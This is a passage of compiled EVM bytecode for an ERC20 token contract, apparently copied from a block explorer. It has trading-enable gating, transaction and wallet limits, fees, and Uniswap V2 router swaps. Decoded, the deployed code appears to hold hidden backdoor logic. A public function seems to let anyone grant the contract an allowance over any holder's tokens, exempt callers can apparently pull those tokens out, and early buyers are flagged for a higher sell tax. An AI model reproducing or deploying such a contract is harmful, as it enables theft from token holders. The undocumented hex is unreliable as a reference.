929190613b66565b600060405180830381600087803b158015612a2257600080fd5b505af1158015612a36573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a6a82612a3f565b9050919050565b612a7a81612a5f565b82525050565b6000602082019050612a956000830184612a71565b92915050565b6000819050919050565b612aae81612a9b565b82525050565b6000602082019050612ac96000830184612aa5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b09578082015181840152602081019050612aee565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b3182612acf565b612b3b8185612ada565b9350612b4b818560208601612aeb565b612b5481612b15565b840191505092915050565b60006020820190508181036000830152612b798184612b26565b905092915050565b600080fd5b612b8f81612a5f565b8114612b9a57600080fd5b50565b600081359050612bac81612b86565b92915050565b612bbb81612a9b565b8114612bc657600080fd5b50565b600081359050612bd881612bb2565b92915050565b60008060408385031215612bf557612bf4612b81565b5b6000612c0385828601612b9d565b9250506020612c1485828601612bc9565b9150509250929050565b60008115159050919050565b612c3381612c1e565b82525050565b6000602082019050612c4e6000830184612c2a565b92915050565b6000819050919050565b6000612c79612c74612c6f84612a3f565b612c54565b612a3f565b9050919050565b6000612c8b82612c5e565b9050919050565b6000612c9d82612c80565b9050919050565b612cad81612c92565b82525050565b6000602082019050612cc86000830184612ca4565b92915050565b600080600060608486031215612ce757612ce6612b81565b5b6000612cf586828701612b9d565b9350506020612d0686828701612b9d565b9250506040612d1786828701612bc9565b9150509250925092565b600060208284031215612d3757612d36612b81565b5b6000612d4584828501612b9d565b91505092915050565b600060ff82169050919050565b612d6481612d4e565b82525050565b6000602082019050612d7f6000830184612d5b565b92915050565b60008060408385031215612d9c57612d9b612b81565b5b6000612daa85828601612b9d565b9250506020612dbb85828601612b9d565b9150509250929050565b612dce81612c1e565b8114612dd957600080fd5b50565b600081359050612deb81612dc5565b92915050565b60008060408385031215612e0857612e07612b81565b5b6000612e1685828601612b9d565b9250506020612e2785828601612ddc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e7157612e70612e31565b5b50565b6000819050612e8282612e60565b919050565b6000612e9282612e74565b9050919050565b612ea281612e87565b82525050565b6000602082019050612ebd6000830184612e99565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f0a57607f821691505b602082108103612f1d57612f1c612ec3565b5b50919050565b600081519050612f3281612b86565b92915050565b600060208284031215612f4e57612f4d612b81565b5b6000612f5c84828501612f23565b91505092915050565b6000604082019050612f7a6000830185612a71565b612f876020830184612a71565b9392505050565b6000819050919050565b6000612fb3612fae612fa984612f8e565b612c54565b612a9b565b9050919050565b612fc381612f98565b82525050565b600060c082019050612fde6000830189612a71565b612feb6020830188612aa5565b612ff86040830187612fba565b6130056060830186612fba565b6130126080830185612a71565b61301f60a0830184612aa5565b979650505050505050565b60008151905061303981612bb2565b92915050565b60008060006060848603121561305857613057612b81565b5b60006130668682870161302a565b93505060206130778682870161302a565b92505060406130888682870161302a565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130cc82612a9b565b91506130d783612a9b565b92508282019050808211156130ef576130ee613092565b5b92915050565b60006020828403121561310b5761310a612b81565b5b60006131198482850161302a565b91505092915050565b60006040820190506131376000830185612a71565b6131446020830184612aa5565b9392505050565b60008151905061315a81612dc5565b92915050565b60006020828403121561317657613175612b81565b5b60006131848482850161314b565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61322081612a5f565b82525050565b60006132328383613217565b60208301905092915050565b6000602082019050919050565b6000613256826131eb565b61326081856131f6565b935061326b83613207565b8060005b8381101561329c5781516132838882613226565b975061328e8361323e565b92505060018101905061326f565b5085935050505092915050565b60006080820190506132be6000830187612fba565b81810360208301526132d0818661324b565b90506132df6040830185612a71565b6132ec6060830184612aa5565b95945050505050565b600060608201905061330a6000830186612a71565b6133176020830185612a71565b6133246040830184612aa5565b949350505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613388602583612ada565b91506133938261332c565b604082019050919050565b600060208201905081810360008301526133b78161337b565b9050919050565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b60006133f4601a83612ada565b91506133ff826133be565b602082019050919050565b60006020820190508181036000830152613423816133e7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613486602683612ada565b91506134918261342a565b604082019050919050565b600060208201905081810360008301526134b581613479565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613518602483612ada565b9150613523826134bc565b604082019050919050565b600060208201905081810360008301526135478161350b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006135aa602283612ada565b91506135b58261354e565b604082019050919050565b600060208201905081810360008301526135d98161359d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613616601d83612ada565b9150613621826135e0565b602082019050919050565b6000602082019050818103600083015261364581613609565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136a8602583612ada565b91506136b38261364c565b604082019050919050565b600060208201905081810360008301526136d78161369b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061373a602383612ada565b9150613745826136de565b604082019050919050565b600060208201905081810360008301526137698161372d565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b60006137a6601383612ada565b91506137b182613770565b602082019050919050565b600060208201905081810360008301526137d581613799565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7420626566000000602082015250565b6000613838603d83612ada565b9150613843826137dc565b604082019050919050565b600060208201905081810360008301526138678161382b565b9050919050565b7f45524332303a2062616c616e636520616d6f756e74206578636565646564206d60008201527f61782077616c6c657420616d6f756e74206c696d697400000000000000000000602082015250565b60006138ca603683612ada565b91506138d58261386e565b604082019050919050565b600060208201905081810360008301526138f9816138bd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7400000000000000602082015250565b600061395c603983612ada565b915061396782613900565b604082019050919050565b6000602082019050818103600083015261398b8161394f565b9050919050565b600061399d82612a9b565b91506139a883612a9b565b92508282026139b681612a9b565b915082820484148315176139cd576139cc613092565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a0e82612a9b565b9150613a1983612a9b565b925082613a2957613a286139d4565b5b828204905092915050565b6000613a3f82612a9b565b9150613a4a83612a9b565b9250828203905081811115613a6257613a61613092565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613a9e602083612ada565b9150613aa982613a68565b602082019050919050565b60006020820190508181036000830152613acd81613a91565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b30602683612ada565b9150613b3b82613ad4565b604082019050919050565b60006020820190508181036000830152613b5f81613b23565b9050919050565b600060a082019050613b7b6000830188612aa5565b613b886020830187612aa5565b8181036040830152613b9a818661324b565b9050613ba96060830185612a71565b613bb66080830184612aa5565b969550505050505056fea2646970667358221220ccb81b8184c8a4565f06486ef37dfe2b2c19b230711b711a9217cee5be7e1b1b64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102135760003560e01c8063715018a611610118578063a9059cbb116100a0578063dd62ed3e1161006f578063dd62ed3e14610795578063e5b37a65146107d2578063ef437ff51461080f578063f2fde38b14610838578063fca675a8146108615761021a565b8063a9059cbb146106eb578063aa4bde2814610728578063b61b64fa14610753578063c9567bf91461077e5761021a565b80638da5cb5b116100e75780638da5cb5b1461060457806395d89b411461062f5780639850e4811461065a578063a014f37d14610683578063a457c2d7146106ae5761021a565b8063715018a61461056e578063751039fc146105855780638baa82491461059c5780638c0b5e22146105d95761021a565b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e146104755780634d3eaaa8146104a057806354262d26146104dd57806354b762a61461050657806370a08231146105315761021a565b8063313ce567146103b757806333ee1793146103e2578063395093511461040d5780633eb5d9b21461044a5761021a565b80631694505e116101e25780631694505e146102dd57806318160ddd1461030857806323b872dd146103335780632f396cee146103705780632fee9e7e1461037a5761021a565b806303fd2a451461021f5780630445b6671461024a57806306fdde0314610275578063095ea7b3146102a05761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461088c565b6040516102419190612a80565b60405180910390f35b34801561025657600080fd5b5061025f6108b2565b60405161026c9190612ab4565b60405180910390f35b34801561028157600080fd5b5061028a6108b8565b6040516102979190612b5f565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c29190612bde565b61094a565b6040516102d49190612c39565b60405180910390f35b3480156102e957600080fd5b506102f261096d565b6040516102ff9190612cb3565b60405180910390f35b34801561031457600080fd5b5061031d610991565b60405161032a9190612ab4565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190612cce565b61099b565b6040516103679190612c39565b60405180910390f35b6103786109ca565b005b34801561038657600080fd5b506103a1600480360381019061039c9190612d21565b610cb3565b6040516103ae9190612c39565b60405180910390f35b3480156103c357600080fd5b506103cc610cd3565b6040516103d99190612d6a565b60405180910390f35b3480156103ee57600080fd5b506103f7610cdc565b6040516104049190612ab4565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190612bde565b610ce2565b6040516104419190612c39565b60405180910390f35b34801561045657600080fd5b5061045f610d19565b60405161046c9190612ab4565b60405180910390f35b34801561048157600080fd5b5061048a610d1f565b6040516104979190612a80565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c29190612bde565b610d45565b6040516104d49190612c39565b60405180910390f35b3480156104e957600080fd5b5061050460048036038101906104ff9190612d21565b610d75565b005b34801561051257600080fd5b5061051b610e9a565b6040516105289190612c39565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612d21565b610f16565b6040516105659190612ab4565b60405180910390f35b34801561057a57600080fd5b50610583610f5e565b005b34801561059157600080fd5b5061059a610f72565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612d21565b610fa2565b6040516105d09190612c39565b60405180910390f35b3480156105e557600080fd5b506105ee610fc2565b6040516105fb9190612ab4565b60405180910390f35b34801561061057600080fd5b50610619610fc8565b6040516106269190612a80565b60405180910390f35b34801561063b57600080fd5b50610644610ff2565b6040516106519190612b5f565b60405180910390f35b34801561066657600080fd5b50610681600480360381019061067c9190612bde565b611084565b005b34801561068f57600080fd5b506106986113aa565b6040516106a59190612c39565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190612bde565b6113f6565b6040516106e29190612c39565b60405180910390f35b3480156106f757600080fd5b50610712600480360381019061070d9190612bde565b61146d565b60405161071f9190612c39565b60405180910390f35b34801561073457600080fd5b5061073d611490565b60405161074a9190612ab4565b60405180910390f35b34801561075f57600080fd5b50610768611496565b6040516107759190612ab4565b60405180910390f35b34801561078a57600080fd5b5061079361149c565b005b3480156107a157600080fd5b506107bc60048036038101906107b79190612d85565b61152c565b6040516107c99190612ab4565b60405180910390f35b3480156107de57600080fd5b506107f960048036038101906107f49190612d21565b6115b3565b6040516108069190612c39565b60405180910390f35b34801561081b57600080fd5b5061083660048036038101906108319190612df1565b6115d3565b005b34801561084457600080fd5b5061085f600480360381019061085a9190612d21565b611636565b005b34801561086d57600080fd5b506108766116b9565b6040516108839190612ea8565b60405180910390f35b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6060600380546108c790612ef2565b80601f01602080910402602001604051908101604052809291908181526020018280546108f390612ef2565b80156109405780601f1061091557610100808354040283529160200191610940565b820191906000526020600020905b81548152906001019060200180831161092357829003601f168201915b5050505050905090565b6000806109556116cc565b90506109628185856116d4565b600191505092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b6000806109a66116cc565b90506109b385828561189d565b6109be858585611929565b60019150509392505050565b6109d26122e3565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a619190612f38565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0c9190612f38565b6040518363ffffffff1660e01b8152600401610b29929190612f65565b6020604051808303816000875af1158015610b48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6c9190612f38565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bf7307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6116d4565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610c3e30610f16565b600080610c49610fc8565b426040518863ffffffff1660e01b8152600401610c6b96959493929190612fc9565b60606040518083038185885af1158015610c89573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cae919061303f565b505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b60125481565b600080610ced6116cc565b9050610d0e818585610cff858961152c565b610d0991906130c1565b6116d4565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080309050610d6a848285610d5b888661152c565b610d6591906130c1565b6116d4565b600191505092915050565b610d7d6122e3565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610df59190612a80565b602060405180830381865afa158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3691906130f5565b6040518363ffffffff1660e01b8152600401610e53929190613122565b6020604051808303816000875af1158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e969190613160565b5050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610f06573d6000803e3d6000fd5b5060006016819055506001905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f666122e3565b610f706000612361565b565b610f7a6122e3565b6b015bfc9298de952e2f4000006008819055506b015bfc9298de952e2f400000600981905550565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461100190612ef2565b80601f016020809104026020016040519081016040528092919081815260200182805461102d90612ef2565b801561107a5780601f1061104f5761010080835404028352916020019161107a565b820191906000526020600020905b81548152906001019060200180831161105d57829003601f168201915b5050505050905090565b6000600267ffffffffffffffff8111156110a1576110a061318d565b5b6040519080825280602002602001820160405280156110cf5781602001602082028036833780820191505090505b5090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561113d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111619190612f38565b81600081518110611175576111746131bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106111c4576111c36131bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600081600181518110611214576112136131bc565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611307577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b81526004016112d094939291906132a9565b6000604051808303818588803b1580156112e957600080fd5b505af11580156112fd573d6000803e3d6000fd5b50505050506113a4565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd8584600181518110611338576113376131bc565b5b6020026020010151866040518463ffffffff1660e01b815260040161135f939291906132f5565b6020604051808303816000875af115801561137e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a29190613160565b505b50505050565b60006113b46122e3565b6003601060006101000a81548160ff021916908360038111156113da576113d9612e31565b5b0217905550600060118190555060006012819055506001905090565b6000806114016116cc565b9050600061140f828661152c565b905083811015611454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144b9061339e565b60405180910390fd5b61146182868684036116d4565b60019250505092915050565b6000806114786116cc565b9050611485818585611929565b600191505092915050565b60095481565b60165481565b6114a46122e3565b601060029054906101000a900460ff16156114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb9061340a565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6115db6122e3565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61163e6122e3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a49061349c565b60405180910390fd5b6116b681612361565b50565b601060009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a9061352e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a9906135c0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118909190612ab4565b60405180910390a3505050565b60006118a9848461152c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119235781811015611915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190c9061362c565b60405180910390fd5b61192284848484036116d4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f906136be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fe90613750565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aab5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b0057601060029054906101000a900460ff16611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af6906137bc565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ba45750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c9d57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c9c57600854811115611c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3a9061384e565b60405180910390fd5b600954611c4f83610f16565b82611c5a91906130c1565b1115611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c92906138e0565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d465750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122d257601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611df45750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156121e457600854821115611e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3590613972565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611ee55750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f1d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611fef5760006003811115611f3657611f35612e31565b5b601060009054906101000a900460ff166003811115611f5857611f57612e31565b5b03611fb6576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611fc89190613992565b611fd29190613a03565b9050611fdf853083612427565b8083611feb9190613a34565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120965750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120ce57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120e65750601060039054906101000a900460ff165b80156120ff5750601060019054906101000a900460ff16155b156121df576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036121695760135490505b6001601060016101000a81548160ff02191690831515021790555061218c61269d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121b79190613992565b6121c19190613a03565b90506121ce863083612427565b80846121da9190613a34565b925050505b6122d1565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561229257508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156122d05760006064601354846122a99190613992565b6122b39190613a03565b90506122c0853083612427565b80836122cc9190613a34565b9150505b5b5b6122dd848483612427565b50505050565b6122eb6116cc565b73ffffffffffffffffffffffffffffffffffffffff16612309610fc8565b73ffffffffffffffffffffffffffffffffffffffff161461235f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235690613ab4565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248d906136be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fc90613750565b60405180910390fd5b612510838383612764565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d90613b46565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126849190612ab4565b60405180910390a3612697848484612769565b50505050565b60006126a830610f16565b0315612762576000806126ba30610f16565b9050600047905060006126ee600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f16565b90506000600a5484111561275c5747925061270a84600061276e565b82476127169190613a34565b9450600a54821115612742578061272e576000612730565b845b8561273b9190613a03565b6016819055505b846016600082825461275491906130c1565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561278b5761278a61318d565b5b6040519080825280602002602001820160405280156127b95781602001602082028036833780820191505090505b50905030816000815181106127d1576127d06131bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612876573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061289a9190612f38565b816001815181106128ae576128ad6131bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612963929190613122565b6020604051808303816000875af1158015612982573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a69190613160565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b8152600401612a08959493929190613b66565b600060405180830381600087803b158015612a2257600080fd5b505af1158015612a36573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a6a82612a3f565b9050919050565b612a7a81612a5f565b82525050565b6000602082019050612a956000830184612a71565b92915050565b6000819050919050565b612aae81612a9b565b82525050565b6000602082019050612ac96000830184612aa5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b09578082015181840152602081019050612aee565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b3182612acf565b612b3b8185612ada565b9350612b4b818560208601612aeb565b612b5481612b15565b840191505092915050565b60006020820190508181036000830152612b798184612b26565b905092915050565b600080fd5b612b8f81612a5f565b8114612b9a57600080fd5b50565b600081359050612bac81612b86565b92915050565b612bbb81612a9b565b8114612bc657600080fd5b50565b600081359050612bd881612bb2565b92915050565b60008060408385031215612bf557612bf4612b81565b5b6000612c0385828601612b9d565b9250506020612c1485828601612bc9565b9150509250929050565b60008115159050919050565b612c3381612c1e565b82525050565b6000602082019050612c4e6000830184612c2a565b92915050565b6000819050919050565b6000612c79612c74612c6f84612a3f565b612c54565b612a3f565b9050919050565b6000612c8b82612c5e565b9050919050565b6000612c9d82612c80565b9050919050565b612cad81612c92565b82525050565b6000602082019050612cc86000830184612ca4565b92915050565b600080600060608486031215612ce757612ce6612b81565b5b6000612cf586828701612b9d565b9350506020612d0686828701612b9d565b9250506040612d1786828701612bc9565b9150509250925092565b600060208284031215612d3757612d36612b81565b5b6000612d4584828501612b9d565b91505092915050565b600060ff82169050919050565b612d6481612d4e565b82525050565b6000602082019050612d7f6000830184612d5b565b92915050565b60008060408385031215612d9c57612d9b612b81565b5b6000612daa85828601612b9d565b9250506020612dbb85828601612b9d565b9150509250929050565b612dce81612c1e565b8114612dd957600080fd5b50565b600081359050612deb81612dc5565b92915050565b60008060408385031215612e0857612e07612b81565b5b6000612e1685828601612b9d565b9250506020612e2785828601612ddc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e7157612e70612e31565b5b50565b6000819050612e8282612e60565b919050565b6000612e9282612e74565b9050919050565b612ea